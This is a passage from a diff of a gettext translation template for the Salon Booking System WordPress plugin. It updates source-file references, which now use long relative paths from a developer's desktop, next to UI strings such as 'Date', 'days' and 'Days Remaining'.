..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityBooking_Controller.php:121\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityIntervals_Controller.php:24\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityAssistants_Controller.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FAvailabilityServices_Controller.php:67\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:58\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:112\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityBooking_Controller.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityIntervals_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityAssistants_Controller.php:26\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FHolidayRules_Controller.php:31\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:25\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FAvailabilityServices_Controller.php:67\n+msgid \"Date.\"\n msgstr \"\"\n \n-#. translators: %s: the name of the salon\n-#: views\u002Fmail\u002F_status_canceled_content.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmail\u002F_status_canceled_content.php:24\n-msgid \"the following booking at %s has been canceled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FTools.php:118\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FImportBookings.php:14\n+msgid \"DATE\u002FTIME\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:23, src\u002FSLN\u002FMetabox\u002FAttendant.php:30, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FMetabox\u002FAttendant.php:30\n-msgid \"Assistant Details\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Ftools.php:248\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Ftools.php:248\n+msgid \"Date\u002FTime\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:27, views\u002Fshortcode\u002F_salon_detail_login.php:5, src\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, src\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fshortcode\u002F_salon_detail_login.php:5, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FEnum\u002FCheckoutFields.php:36, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAdmin\u002FCustomers\u002FList.php:33\n-msgid \"E-mail\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FPlugin.php:240\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FPlugin.php:240\n+msgid \"Date:\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:28, views\u002Fmetabox\u002Fbooking.php:189, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fbooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fbooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fbooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fbooking.php:189, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fbooking.php:189\n-msgid \"no users found\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:377\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:186\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1040\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FManager.php:1045\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:300\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:306\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:377\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:28\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:30\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:186\n+msgid \"day\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:28\n-msgid \"Start typing the email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:378\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:379\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:380\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:381\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FFunc.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:786\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:396\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:378\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:379\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:380\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:381\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:29\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:187\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:188\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FFunc.php:189\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FWrapper\u002FBooking.php:786\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:396\n+msgid \"days\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:41, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:41, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:41\n-msgid \"Display phone inside booking notification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:133\n+msgid \"Days Left!\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:46\n-msgid \"Limit reservations to the following services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAdmin\u002FMigrationTools\u002FIp1SmsMigration.php:135\n+msgid \"Days Remaining\"\n msgstr \"\"\n \n-#: views\u002Fmetabox\u002Fattendant.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fmetabox\u002Fattendant.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fmetabox\u002Fattendant.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fmetabox\u002Fattendant.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fmetabox\u002Fattendant.php:48\n-msgid \"Select or search one or more services\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon 